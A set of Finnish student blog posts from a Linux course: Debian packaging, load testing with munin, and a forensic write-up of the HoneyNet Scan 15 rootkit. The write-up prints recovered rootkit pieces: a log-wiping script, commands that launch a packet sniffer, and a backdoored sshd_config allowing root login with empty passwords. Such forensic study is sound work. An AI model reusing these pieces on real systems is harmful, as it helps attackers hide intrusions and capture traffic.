Tässä kohtaa nauroin lähinnä omille väsyneille aivoille, koska paketin uudelleen luominen oli täysin turha vaihe, en tiedä mikä aivopieru tuossa tapahtui mutta poistin ylimääräisen paketin kokonaan ettei se jäisi hämäämään minua.

$ rm kristiinas-metapaketti.cfg

Kaiken tämän jälkeen ajoin paketin lintianista läpi ja heittämällähän se menikin tällä kertaa.

$ lintian kristiinas-metapaketti.cfg_0.2_all.deb

Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn.

Skriptin teko, paketointi ja uuden komennon asentaminen sillä.

Koska tässä taloudessa kissat ovat valtiaita ja ihmiset palvelijoita, teen tämän skriptin tätä ajatusta kunnioittaen. Komentoa seuraa:

$ gedit meow_script

Jonka jälkeen lisäsin tekstitiedostoon nämä tiedot:

 

#!/bin/bash

# My meow script


echo ”Meow!”

Tallensin ja suljin tiedoston. Tämän jälkeen oli vuorossa ajo-oikeuden asettaminen skriptille komennolla:

$ chmod 755 meow_script

Tämän jälkeen testasin skriptiä ajamalla sen

$./meow_script

Ja komentavaa naukunaahan sieltä tuli!

Seuraavaksi vuorossa oli skriptin paketointi, joka meni malliin tämä:

$ equivs-control meow_script

Tuli paljon erroreita:

 

dh_testdir

dh_testroot

dh_prep

dh_testdir

dh_testroot

dh_install

dh_installdocs

dh_installchangelogs

parsechangelog/debian: warning:     debian/changelog(l1): badly formatted heading line

LINE: meow_script.cfg (0.1) unstable; urgency=low

parsechangelog/debian: warning:     debian/changelog(l2): found blank line where expected first heading

parsechangelog/debian: warning:     debian/changelog(l3): found change data where expected first heading

LINE:   * First version

parsechangelog/debian: error: Can’t call method ”as_string” on an undefined value at /usr/share/perl5/Dpkg/Changelog.pm line 250, <STDIN> line 5.

dpkg-parsechangelog: error: changelog parser /usr/lib/dpkg/parsechangelog/debian gave error exit status 255

dh_installchangelogs: changelog parse failure

make: *** [binary-indep] Error 255

Error in the build process: exit status 2

Kokeilin cfg. tiedoston muokkaamista ja korjaamista, lopulta lätkäisin alla olevan näköiset tiedot sinne:

 

Section: misc

Priority: optional

Standards-Version: 3.9.2

Maintainer: Kristiina H <kristiinaH@email.com>

Package: meow_script

Version: 0.1

Files: meow_script /usr/bin/

Description: Prints text

.

Shell script which outputs a text string

 

Ongelmista johtuen poistin kaikki ns. turhat kommentit tiedostosta, mutta silti samat errorit tulvivat ruutuun ja en vaan päässyt jyvälle että mistä kiikastaa…

Päätin tässä vaiheessa nakata tämän osuuden hetkeksi jäähylle ja siirtyä valinnaisiin tehtäviin.

Tee pakettivarasto repreprolla.

Allekirjoita reprerolla tekemäsi varasto

Tämäkin toimepide alkaa yksinkertaisesti reprepron lataamisella ja asennuksella

$ sudo apt-get install reprepro

Klo 19.00

Tähän vaiheeseen on pakko lopettaa ja jatkan tehtävää myöhemmin. Artikkeli on siis julkaistu keskeneräisenä, mutta sitä täydennetään myöhemmin.

 

24.2 Ma klo 13.30

Hiihtoloman jälkeen näkee kuin näkeekin asiat uusin silmin, sääli ettei aikaa korjauksiin ole juurikaan. Noh sen siitä saa kun joutuu tienpäälle viikoksi.

 

Ajatusvirhe tapahtui paketin luomisen kanssa, komento ”$ equivs-control meow_script” vaan ylikirjoittaa ko. tiedoston eikä tee pakettia ollenkaan. Eipä siis ole ihme ettei homma toiminut. Loin kokonaan uuden conffin equivs-controllilla, muokkasin sisällöt uudelleen ja tämän kaiken jälkeen ajoin sen vielä läpi lintianista. Eli versionumero oikeaksi (0.2) omistaja kristiinaH <kristiinah@email.com> ja Files: meow_script /usr/bin. Tämän jälkeen paketin päivitys/uudelleen luonti

$equivs-build meow.cfg

Läpi lintianista:

$ lintian meow_0.2_all.deb

Lintian antoi varoituksen manpagen puuttumisesta, mutta se oli vain varoitus.

Seuraavana olisi vuorossa se reprepro mutta asennusta enempää en kerennyt siihen koskemaan, koska alkaakin olla jo aika liikkua Linux palvelimena oppintunneille.

 

Lähteet:

Rootkittia mä metsästän… Tahdon saada suuren.

Tämän viikon tehtävän anto kuuluu:

”h3: a) Ratkaise HoneyNet Scan of the Month 15.

b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.

ps. Käsittele haittaohjelmia sisältäviä levykuvia huolellisesti, älä laita niitä tuotantokoneille äläkä aja niiltä löytyviä ohjelmia. Noudata hyviä tapoja ja lakeja, älä hyökkää kenenkään koneisiin. Katso myös http://terokarvinen.com/2013/forensic-file-recovery-with-linux

ps2. Jos on vaikea valita tutustuttava hyökkäys, tutustu SQL injektioon.”

The Challenge:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly recommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partition for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

  1. Show step by step how you identify and recover the deleted rootkit from the / partition.

  2. What files make up the deleted rootkit?

Bonus Question:

Was the rootkit ever actually installed on the system? How do you know?”

Klo 18.30 Ti

Aloitin hommat aluksi ihan sillä että latasin tehtävään tarvittavan tiedoston HoneyNetin sivulta http://old.honeynet.org/scans/scan15/ tiedoston honeynet.tar.gz.

Latasin tiedoston poikkeuksellisesti graafiselta puolelta ja extractoin sen tämän jälkeen, tämä onnistui ihan vain klikkaamalla tiedosto linkkiä HoneyNetin sivuilta, jolloin aukesi graafinen tiedoston latausohjelma ja josta asensin ja purin tiedoston kotihakemistoon Virtual Box Ubuntussa. Tätä ennen tosin kyllä päivitin Ubuntun paketit ja asentelin päivitykset $ apt-get update ja tämän jälkeen $ apt-get upgrade

Näiden vaiheiden jälkeen mounttasin honeynet tiedoston komennolla $ sudo mount -o loop honeypot.hda8.dd /mnt ja koska olin kotihakemistossa siirryin suoraan $ cd mnt hakemistoon ja $ ls -l jälkeen silmäilin hakemistoja olivat honeypotin sisällä.Siirryinn ensimmäiseksi tarkkailemaan /tmp hakemiston install.logia. Selatessa lokia ainoa joka pisti silmään oli Installing ElectricFence merkintä. Pienen googlettelun jälkeen pohdimme yhdessä tutorini kanssa olisiko ElectricFenceä käytetty mahdollisesti rootkitin löytämiseen tai onko sitä mahdollisesti käytetty rootkitin toimesta reikien tai virheiden etsimiseen jolla koneen haavoittuvuuksia voisi tutkia. Jätimme pohdinnan kuitenkin tähän ja siirryin eteenpäin tiedostojen tutkimisessa.

Siirryin tämän jälkeen bin hakemistoon ja komennolla $ ls -s -lt pistin tiedostot aikajärjestykseen. Ainot jotka sieltä pistävät silmään ovat kaksi ensimmäistä maali (35300 maali 16  2001 netstat, 33280 maali 16  2001 ps), pysähdyin miettimään tässä että ovatko nuo aiemmin mainitut niitä joita rootkit on muokannut, vai ovatko kaikki nuo maalis 15 tiedostot niitä joita rootkit on muokannut ja maalis 16 sitten niitä joilla on rootkit korvattu.

Todettuani että yksittäinen selaaminen on työlästä, asensin autopsyn komentorivin kautta $ sudo apt-get install autopsy. Asennettuani sen käynnistin sen selaimessa ja suoritin sen pyytämät toimenpiteet kuten tutkimuksen alla olevan tapauksen nimi ja tutkijoiden nimet, sekä imagen laittaminen siihen selaimen kautta. Tämän jälkeen aloin selaamaan tiedostoja autopsyn kautta, etsien merkkejä ”omituisuuksista”. Ensi töikseni selasin poistetuiksi merkityt tiedostot lk.tgz ja last/ mutta tiedostojen sisältö olisi pitänyt purkaa jotta sitä voisi lukea, jatkoin eteenpäin toistaiseksi. Sen sijaan siirryin listan ensimmäisiin tiedostoihin, kun olin ryhmitellyt ne päivämäärän mukaan. Rupesin selaamaan $OrphanFiles/ ja sen alla olevista tiedostoista numerosta OrphanFile-2043 löytyikin jotain hieman outoa. En kovin hyvin ymmärrä ehtoja basheissa tms, mutta tästä tekstin pätkästä kyllä kävi selväksi se että viimeisimmät lokit muutetaan ja poistetaan tässä kohtaan.

Contents Of File: /1/$OrphanFiles/OrphanFile-2043

WERD=$(/bin/ls -F /var/log | grep -v ”/” | grep -v ”*” | grep -v ”.tgz” | grep -v ”.gz” | grep -v ”.tar” | grep -v ”lastlog” | grep -v ”utmp” | grep -v ”wtmp” | grep -v ”@”)

for fil in $WERD

do

line=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)

echo -n ”${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}…${RES}”

grep -v $1 /var/log/$fil > new

touch -r /var/log/$fil new

mv -f new /var/log/$fil

newline=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)

let linedel=$(($line-$newline))

echo ”${WHI}$linedel ${DWHI}lines removed!${RES}”

done

killall -HUP syslogd

echo ”${BLK}* ${DWHI}Alles sauber mein Meister !’Q%&@$! ${RES}”

Kuten tästä viimeisestä echosta voi päätellä, en usko että ”Kaikki puhdistettu herrani!” saksaksi kuuluu normaalisti mihinkään Linuxin tiedostoihin tai lokien. Tässä kohtaa uskaltaisin sanoa rootkitin lähinnä siivonneen jälkiään. jatkoin Orphanin tiedostojen setvimistä ja löysin sellaisen jonka ensimmäisen

#!/bin/sh clear unset HISTFILE kommentin jälkeen uskalsin todeta että mieron tieltä on nämä tiedot tulleet. Btw. on muuten hillintö nakella joitakin lauseita tuolta google translateen; ”Instalarea Rootkitului A Pornit La Drum – Asentaminen Rootkitului lähteä reissuun” Marvelous!

Kello lähenee puolta 9 illalla, joten hyvä aika lopetella ja siirtyä saunomaan.

Ke 5.2 klo 18

Seuraava outous tuli eteen tiedostossa OrphanFile-2059,

Contents Of File: /1/$OrphanFiles/OrphanFile-2059

killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

En ole erityisen perehtynyt haittaohjelmiin mutta jostain syystä linsniffer osui heti silmiini epäilyttävänä. Googlettelin hetken ja löysin tämän quoten: “linsniffer is an ethernet sniffer. It sits and listens on a network and grabs every packet it sees. This is why ssh is a good thing…” –Doug Elznic

Eli selkeästi: Ei hyvä homma!

Tässä vaiheessa kuitenkin löi seinä vastaan ja en onnistunut löytämään silmin mitään epäilyttävää tiedostoista tämän jälkeen. Päätin opettajan neuvosta ottaa vaarin ja hieman avittaa itseäni eteenpäin. Ilmeisesti ainakin honeynetin mallivastaukseksi nostetussa tapauksessa tekijä Brian Carrier käytti useampaakin työkalua etsiessään rootkittiä. Pyörittelin tätä hetken aikaa ja lopulta palasin suosiolla takaisin autopsyn pariin. Tutor vinkkasi korvan takaa että jos katsoisin uudelleen poistettuja tiedostoja autopsysta, joten siirryin suosiolla sinne. Poistettujen tiedostojen joukosta löytyi jo aiemmin epäilyttävä löytämäni tiedostot sekä muutamat lisää. Muun muassa alla olevassa orphan tiedostossa löytyy vaihteeksi Romaniaksi tekstiä, jossa raa’asti käännettynä kerrotaan rootkitin asentamisesta.

unset HISTFILE
echo    ”********* Instalarea Rootkitului A Pornit La Drum *********”
echo    ”********* Mircea SUGI PULA ********************************”
echo    ”********* Multumiri La Toti Care M-Au Ajutat **************”
echo    ”********* Lemme Give You A Tip : **************************”
echo    ”********* Ignore everything, call your freedom ************”
echo    ”********* Scream & swear as much as you can ***************”
echo    ”********* Cuz anyway nobody will hear you and no one will *”
echo    ”********* Care about you **********************************”

Yllä oleva maalaa melko selkeän kuvan siitä mitä tapahtuu tai tapahtui ja sen aiheuttamasta ylimielisyydestä.

Myös jälleen linsniffer pisti silmään tästä 1/$OrphanFiles/OrphanFile-2045 tiedostosta;

Contents Of File: /1/$OrphanFiles/OrphanFile-2045

!/bin/sh

cd /dev/ida/.drag-on

./mkxfs -f ./s

./linsniffer >> ./tcp.log &

cd /

Tämän jälkeen siirryin hakemistoon /1/lk.tgz jonka purettuani autopsyn kautta suoraan, sisältä löytyi melkoisesti epäilyttävän näköisiä tiedostoja saksankielisine herjoineen ja siivous hurraa huutoineen. Käytännössä täältä löytyi rootkitin asennushakemisto. Kaikesta päätellen rootkit on asentunut 3 maaliskuuta 2001. Täältä myös sshd_configista löytyi porttien kuuntelua, root oikeuksien jakamista ja muuta mukavaa.

Port 22

ListenAddress 0.0.0.0

HostKey /dev/ida/.drag-on/

RandomSeed /dev/ida/.drag-on/

ServerKeyBits 768

LoginGraceTime 600

KeyRegenerationInterval 3600

PermitRootLogin yes

IgnoreRhosts no

StrictModes yes

QuietMode no

X11Forwarding yes

X11DisplayOffset 10

FascistLogging no

PrintMotd yes

KeepAlive yes

SyslogFacility DAEMON

RhostsAuthentication no

RhostsRSAAuthentication yes

RSAAuthentication yes

PasswordAuthentication yes

PermitEmptyPasswords yes

UseLogin no

# CheckMail no

PidFile /dev/ida/.drag-on/pidfile

# AllowHosts *.our.com friend.other.com

# DenyHosts lowsecurity.theirs.com *.evil.org evil.org

# Umask 022

# SilentDeny yes

Yritin etsiä alkuperäistä sshd_configia, mutta en onnistunut sitä kaivelun jälkeen löytämään. Teoriani siis on että rootkit korvasi alkuperäisen omallaan, muutosten kera. Toinen teoria on että olen vain puusilmä.

Rootkitin asennuksen palauttaminen ei periaatteessa muuta vaatinut kuin tuon /1/lk.tgz hakemiston exporttaamisen, josta löytyi ns. kaikki tarvittava. Taitoni eivät olleet kyllä mitenkään tehtävän tasolla, mutta semmoista se on joskus. Täytyneen selkeästi perehtyä enemmän haittaohjelmien maailmaan.

Näihin tunnelmiin jää tämä osuus, seuraavaksi toinen osa tehtävästä.

Klo 20.40

b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.

Sql injektio toimii käytännössä niin, että esimerkiksi nettilomakkeeseen jossa kysytään yhteystietoja tallennettavaksi sivustolle, kirjoitatkin sql komennon joka esimerkiksi poistaa kaikki nimi-taulun tiedot. Tai sitten kopioi tietoja, joka voi vahingoittaa yritystä merkittävästi. Esimerkiksi asiakkaiden sähköpostien tai puhelinnumeroiden, luottokorttinumeroista puhumattakaan, vuotaminen ulkopuolisille harvemmin tuo yritykselle hyvää mainetta tai lisää asiakkaita. Käytännössä hyökkääjä käyttää sivuston tietoturva reikää hyväkseen, injektoidakseen sinne haluamaansa dataa, joko tuhoamalla, kopioimalla tai muuttamalla tietokannassa olevia tietoja. Tietoturva-aukon hyväksikäyttäminen on hyvinkin helppoa ja sen havaitseminen testauksessa voi olla hyvinkin hankalaa. On kuitenkin skannereita ja ohjelmia olemassa, joiden avulla voi havaita tämän kaltaisia tietoturvariskejä hyvissä ajoin.

Mitä SQL-injektioon tulee, niin tämä tuli heti ensimmäisenä esimerkkinä mieleen. 😀 Enjoy!

Exploits of a Mom

http://xkcd.com/327/

Lähteet:

Linuxin rasitustestaamista ja lokien selaamista

 Tehtävänanto:

”h2:
– Kerää kuormitustietoja munin -ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisesti”

Klo 1915

Käytin kotitehtävän testaamiseen olohuoneemme Linux konetta

Ubuntu 12.04.4 LTS

koneen tiedot

prosessori AMD Athlon 64 x Dual Core Prosessor 6000+

Muisti 4GB

Näytönohjain ATI Radeon HD 5700 Series

Aloitin ensin perinteisellä,  eli asensin ensin uusimmat paketit

$ sudo apt-get update

tämän jälkeen asensin uusimmat päivitykset

$ sudo apt-get upgrade

kone ei hakenut jostakin syystä ekalla kertaa päivityksiä, toisella kertaa kun laitoin komennon niin päivitykset asentuivat normaalisti.

kolmannella tarkituskerralla näytönohjaimen ajurit jäivät odottamaan päivitystä.

Varsinaisen tehtävän aloitin asentamalla munin-ohjelman komennolla

$ sudo apt-get install munin

Ohjelma asentui onnistuneesti.

Seuraavaksi asensin stressin

$ sudo apt-get install stress

Tämän jälkeen suoritin linuxin pyynnöstä pakettien siivousta, poistamalla vanhat aiemmin automaattisesti asennetut ja nykyään tarpeettomat “linux-headers-3.2.0-55 linux-headers-3.2.0-55-generic” komennolla

$ sudo apt-get autoremove

paketit poistettiin automaattisesti.

Seuraavaksi asensin iotopin, htopin ja nmonin komennolla

$ sudo apt-get install iotop htop nmon munin

ohjelmat asentuivat onnistuneesti.

 Valitettavasti munin ei lähtenyt pyörimään heti onnistuneesti, joten asensin linuxin kaikki muutkin sen ehdottamat munin-paketit.

Vielä tämänkään jälkeen Munin ei toiminut heti, tämän jälkeen tein munin-checkin, jolloin totesi että oikeudet ovat pielessä. Siirryin var/lib/munin hakemistoon, jouduin menemään sudolla eli

$ sudo su

ja sitten

$ cd /var/lib/munin

Tässä hakemistossa munin-check tuotti herjoja:

/var/lib/munin/munin-graph.stats : Wrong permissions (664 != 644)

/var/lib/munin/munin-update.stats : Wrong permissions (664 != 644)

Muutin oikeuksia ensin chmod-komennolla oikeiksi (ks. yllä) ja sitten omistajuutta joihinkin tiedostoihin chown-komennolla.

Muutosten jälkeen ajoin uudelleen munin-checkin, mutta jostakin syystä munin päällekirjoittaa oikeudet uudelleen väärin. Ilmeisesti munin-cron muuttaa niitä aina kun se kirjoittaa tilastoja, joten jätin nuo kaksi

/var/lib/munin/munin-graph.stats : Wrong permissions (664 != 644)

/var/lib/munin/munin-update.stats : Wrong permissions (664 != 644)

korjaamatta uudelleen tämän jälkeen.

lopetin root session tähän (ctrl+d).

klo 20.15

Säädön ja googlettelun jälkeen päädyimme sivuille(www.debuntu.org/how-to-monitoring-a-aserver-with-munin/) jonka ohjeiden mukaan lähdimme suorittamaan. Tutorini kanssa seuraamaan tämän linkin ohjeita, mutta koska ohjeet osoittautuivat liian monimutkaisiksi sain neuvon että sen sijaan helpompaa oli linkittää muninin www-hakemisto apachen www-hakemistoon komennolla

$ sudo ln –s /var/cache/munin/www .

Testasimme tätä selaimessa kirjoittalla selaimen osoitekenttään localhost ja siellä näkyy www-hakemisto, ja se toimii! Munin kertoo graafisesti selaimessa mitä kaikkea koneella tapahtuu.

Siistimme vielä hieman linkitystä vielä komennolla

$ sudo ln –s /var/cache/munin/www /var/www/munin

Nyt näkyy selkeämmin munin-hakemisto www-hakemiston sijaan, jota klikkaamalla saan näkymään eri käyriä kuormituksen suhteen.

Tämän jälkeen ajoin top-komennon seuratakseni tämän hetkistä tapahtuma tilannetta koneella

$ top

Ennen stressiä, täällä ei yllättäen tapahdu juuri mitään. Hyvä niin siis!

$ free –m

Ja vapaan muistin tilakin näyttää hyvältä, mitä nyt näin tarkkailee ennen tuota stressiä siis.

$ sudo iotop –oa

kertoo meille myös että levyn käyttö on lähellä nollaa toistaiseksi

Lopuksi ennen saunataukoa laitan stressitestin pyörimään tunniksi Linuxin tarjoamalla esimerkki komennolla $ stress –cpu 8 –io 4 –vm 2 –vm-bytes 128m –timeout 10s -> 10s muutettiin 1h komennolla

$ stress –cpu 8 –io 4 –vm 2 –vm-bytes 128m –timeout 1h

Klo 21.15-22.00 saunontatauko

Klo 22.10

Ajoin toisesta terminaalista komentoja stressi testin aikana

$ top

Näytti melko erilaiselta, Cpu(s) osiossa näkyy käyttäjän (us) ja järjestelmän (sy) käyttö jakaantuvan melkoisen tasan, kummassakin poukkoillaan jonkin verran mutta keskimäärin käyttä jakaantuu noin 50-50.

En selkeästi laittanut kauhean kovaa stressitestiä päälle, mutta ero on silti havaittavissa muistinkäytössä stressin aikana. Silti firefoxi käyttää enemmän muistia kuin stress tällä hetkellä.

Load average oli selkeästi korkeammalla stressitestin ajan, tosin koska stressi aika oli  yksi tunti, niin se laski sitä suhteellisen hitaasti.

Stressin valmistuttua päätin ajaa vielä toisen mutta lyhyemmällä ajalla sekä pienellä muutoksella muistinkäyttöön.

$ stress –cpu 8 –io 4 –vm 2 –vm-bytes 1280m –timeout 1m

Muistin määrän nostaminen lisäsi merkittävästi muistin käytön määrää, sen sijaan että luvut olivat aiemmassa testissä luokkaa (%MEM) 4.5, olivat ne nyt 30.2 jne.

Kokeilin myös komentoa

$ htop

Joka näyttää hieman erilaisella tyylillä mitä koneella tapahtuu.

Tässä välissä kävin myös vilkaisemassa selaimen puolella, mitä muni puuhailee ja piirustelee siellä.

Kuten kuvassa näkyy, niin vastaanotettuja paketteja on enemmän, koska käytännössä mitään ei ole oikeastaan lähetetty ulos. On vain vastaanotettu paketteja koneen päivitystä varten.

Kuten kuvasta näkyy vasemmassa laidassa alhaalla, on yksittäisiä keskeytyksiä monen laisia.

Pata-amd

on levyohjain, jonka keskeytyksiä käsitellään eniten koko listauksesta. Hyvänä seuraajana tulee

fgrx[0]@PCI: 2:0:0

joka kertoo näytönohjaimen tilanteesta keskeytysten suhteen, eth0 sitten taas kertoo meille verkon tilanteesta keskeytysten suhteen. Käytännössä tämä kaavio kertoo miten laitteet keskeytyksellä kertovat mitä haluavat tai että ovat saaneet työnsä päätökseen. Ikään kuin oppilas viittaa tunnilla tietävänsä vastauksen ja opettaja käsittelee viittaajat (mahdollisesti) järjestyksessä.

Apachen puolella munin käyrät eivät paljoa sattumia tarjonneet, mutta noin yleisesti näen kyllä miksi munia käytettäisiin. Se tarjoaa kuitenkin selkeät piirtokäyrät päivälle, viikolle, kuukaudelle ja vuodelle, joka on mielestäni melko mahdikasta. Esimerkiksi jos serverillä on paljon liikennettä tai jos esimerkiksi Apache vie leijonanosan serverin resursseista ja/tai tilanne alkaa olla sellainen että palvelimen kuormitus liian tiukoilla.

Tai sitten useamman serverin tilanteessa seuraamaan mikä on yleinen liikenne servereillä, jos kolmella neljästä on väljää ja neljännellä käyrät hyppivät korkealla, voit saman tien alkaa miettimään korjaustoimenpiteitä tilanteen suhteen, esimerkiksi siirtää tietokantoja serveriltä toiselle jos ne kuormittavat serveriä liikaa. Tämä kaikki tietenkin aina vähän tilanteesta riippuen.

Klo 23.14 tehtävä jatkuu myöhemmin.

To klo 22.10

Tehtävän lopuksi pyydettiin aiheuttamaan valitsemaani lokiin muutamia rivejä ja analysoimaan niistä 2-3 riviä perusteellisesti.

Tein slogger nimisellä ohjelmalla merkintöjä syslogiin, mutta niissä ei ollut sen kummempaa analysoitavaa, tekemäni merkintä näkyi aikaleimoineen ja tekijä (kisu, eli minä ja logger) näkyi lokeissa sekä tietysti koneen nimi (belladonna). Ensimmäinen testi komento oli

$ logger system rebooted

Joka näkyi minun tekemänäni lokeissa, toinen komento oli

$ logger –n localhost system rebooted

joka sitten näkyi lokeissa loggerin tekemänä.

Tämän jälkeen lähdin hakemaan lokeja joista löytyisi merkintöjä: Severity levelistä, Keywordista ja Descriptionista. Siirryin tutorin ohjaamana /var/lightdm hakemistoon, joka oli ensimmäinen josta löytyi edes jotain kriittisiksi merkittyjä. Lokeista löytyi hienosti ääripäät Debugista Criticaliin.

Lokit:

[+3,41s] DEBUG: background.vala:67: Making background /usr/share/backgrounds/The_Grass_aint_Greener_by_fix_pena.jpg at 1360×768

[+3,41s] DEBUG: background.vala:144: Error loading background: Tiedoston ”/usr/share/backgrounds/The_Grass_aint_Greener_by_fix_pena.jpg” avaus epäonnistui: Tiedostoa tai hakemistoa ei ole

[+3,41s] DEBUG: background.vala:116: Render of background /usr/share/backgrounds/The_Grass_aint_Greener_by_fix_pena.jpg complete

[+3,41s] CRITICAL: background_loader_create_pattern: assertion `image != NULL’ failed

Tässä kohtaa lokiin on kirjattu DEBUG merkintänä miten kirjautumisikkunan aliohjelma/metodi/funktiota/wodnot yrittää luoda taustakuvaa kyseisestä hakemistosta. Heti seuraavalla rivillä lukee kuitenkin, ettei taustakuvan lataaminen onnistunut, koska taustakuvaa ei ole olemassa. Sitten 3 rivillä kuitenkin tulee DEBUG ilmoitus että kyseisen taustakuvan renderöinti on valmis, joka sopivasti sotkee heti 4 rivin CRITICAL ilmoitusta vastaan, joka suoraan ilmoittaa että taustakuvan lataaminen ei onnistunut koska ehto ei ole täyttynyt, eli kuvaa ei ole olemassa.

Lähteet:

Vanhan Linuxin kokeen kertausta

Lupaavan ensimmäisen Linux palvelimena oppitunnin jälkeen olikin seuraavana tehtävän kerrata ja kokeilla, kykenemmekö läpäisemään peruskurssin Linux-osion kokeen.

Pienenä yhteenvetona heti tähän alkuun voin todeta, että 2 vuotta sitten suorittamastani Työasemat ja tietoverkot kurssista ei ole muistissa juurikaan mitään. Ti työhön tuhrautui aikaa reilut 3h, ke 4-5h ja tänään reilut 5h kaiken sähellyksen ohessa. Ei ole epäselvää etteikö kertausta tarvitsisi, myös pidemmälle pinnalle olisi tilausta. Osa aika johtui jumistuksesta, joiden selivtyksessä vierähti helposti aikaa kun kokeili ja yritti etsiä ratkaisua ongelmiin. Tietää että tästä tulee raskas kurssi, mutta toisaalta onnistuessa on ollut tyytyväinen olo joka kerta.

Tehtävän aloitus ti 21.1.14 klo 19.00

Ensimmäisenä tehtävänä oli asentaa toimiva työympäristö selaimineen ja kirjoitusohjelmineen.

Aluksi asensin Wubin Windows koneelleni, jotta tarvittaessa voisi vaihdella Linuxin ja Windows 7 välillä. Valitettavasti Wubin toimimattomuudesta johtuen en pystynyt asentamaan ubuntua rinnakkaiseloa varten windowsin kanssa, käynnistäessä konetta ja valitessani käynnistettäväksi Ubuntun, tämä hetken latasi mutta lopulta mitään ei tapahtunut. Ubuntu ei koskaan käynnistynyt ja jouduin käynnistämään koneen uudelleen virtanapista. Tämä testattiin noin 6 kertaa ihan vain varmuuden vuoksi, jonka jälkeen päädyin googlettelemaan ongelmasta tarkemmin netistä. Muun muassa tällä sivulla (http://www.omgubuntu.co.uk/2013/04/wubi-advice) todettiin tämän olleen niin ikään huono idea alunperinkin joka tulisi kuopata kokonaan. Ubuntu asentui menestyksekkäästi ja vie kiintolevytilankin, mutta ei tosiaan käynnisty ollenkaan.

Tämän pienen vastoinkäymisen jälkeen päädyin asentamaan Virtual Boxin Windows 7 koneelleni (https://www.virtualbox.org/wiki/Downloads) ja asensin sinne Ubuntu Desctopin (http://www.ubuntu.com/download) tehtävää varten. Koska Ubuntu on niin mainio, en joutunut asentamaan erikseen selainta tai kirjoitusohjelmaa vaan ne olivat käyttöjärjestelmän jälkeen heti käytettävissä. Muussa tapauksessa olisin käyttänyt terminaalissa komentoa $ sudo apt-get install openoffice ja asentanut paketin tätä kautta. Samaa menetelmää olisi sovellettu firefox selaimen asennuksessa. Koska olin asennuksessa valinnut näppäimistön kieleksi suomen, en joutunut sitä erikseen vaihtamaan. Terminaalin kautta sama olisi toteutettu komennolla:

$ setxkbmap fi

Tämän jälkeen asensin uusimmat päivitykset Ubuntuun graafista käyttöliittymää käyttäen, jossa valitaan vasemmassa reunassa näkyvä software updater joka tarjoaa uusimmat päivitykset asennettavaksi, josta valitsin sitten listattujen päivitysten asennuksen. Saman voi tehdä myös terminaalin kautta komennolla:

$ sudo apt-get upgrade

Pakettilähteiden listojen päivittäminen olisi toiminut terminaalissa komennolla:

$ sudo apt-get update

Tämän jälkeen Ubuntu tarjosi järjestelmäpäivityksiä, jotka annoin asentua paikoilleen. Jälleen kerran graafisessa liittymässä ei tarvinnut klikata kuin ’install uppgrades’, mutta terminaalissa saman olisi toteuttanut komento:

$ sudo apt-get dist-upgrade

Tämän jälkeen Ubuntu pyysi järjestelmän uudelleen käynnistämistä.

Kaiken kaikkiaan tähän alku äheltämiseen kului lähemmäksi kaksi tuntia, alun epäonnistuneiden Wubien ja sitä kautta Ubuntun asennuksen yhteydessä.

Klo 20.45

Tehtävän seuraava osa:

”Työntekijämme ovat Einari Vähäkäähkä, Pekka Winha, Åke Andersson ja Leila Laila. He haluavat kehittää PHP-kotisivuja etäkäyttöyhteydellä. Asenna tarvittavat palvelut ja tee esimerkkisivut. Asenna kaikkien käyttäjien käyttöön skripti (shell script) nimeltä “mystatus”, joka näyttää vapaan levytilan (df -h) ja koneen ip-osoitteen.”

Seuraavaksi lähdin tekemään käyttäjätunnuksia Einarille, Pekalle, Åkelle ja Leilalle.

Åkelle en voinut luoda etunimi pohjaista käyttäjätunnusta, koska Ubuntu ei hyväksy käyttäjätunnuksiin suomalaisia ääkkösiä. Åke oli siis Ake. Kaikkien salasanat olivat vähintään 8 merkkiä pitkiä ja sisälsivät kirjaimia ja numeroita, salasanat ja käyttäjätunnukset otettiin ylös paperille käyttäjien ensimmäistä kirjautumista varten.

kristiina@kristiina-VirtualBox:~$ sudo adduser einari

[sudo] password for kristiina:

Adding user `einari’ …

Adding new group `einari’ (1001) …

Adding new user `einari’ (1001) with group `einari’ …

Creating home directory `/home/einari’ …

Copying files from `/etc/skel’ …

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for einari

Enter the new value, or press ENTER for the default

Full Name []: Einari Vähäkäähkä

Room Number []:

Work Phone []:

Home Phone []:

Other []:

chfn: name with non-ASCII characters: ’Einari Vähäkäähkä’

Is the information correct? [Y/n] y

Ongelma Åken käyttiksen luomisessa

kristiina@kristiina-VirtualBox:~$ sudo adduser åke

adduser: To avoid problems, the username should consist only of

letters, digits, underscores, periods, at signs and dashes, and not start with

a dash (as defined by IEEE Std 1003.1-2001). For compatibility with Samba

machine accounts $ is also supported at the end of the username

korjaus

kristiina@kristiina-VirtualBox:~$ sudo adduser ake

Adding user `ake’ …

Adding new group `ake’ (1003) …

Adding new user `ake’ (1003) with group `ake’ …

Creating home directory `/home/ake’ …

Copying files from `/etc/skel’ …

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for ake

Enter the new value, or press ENTER for the default

Full Name []: Åke Andersson

Room Number []:

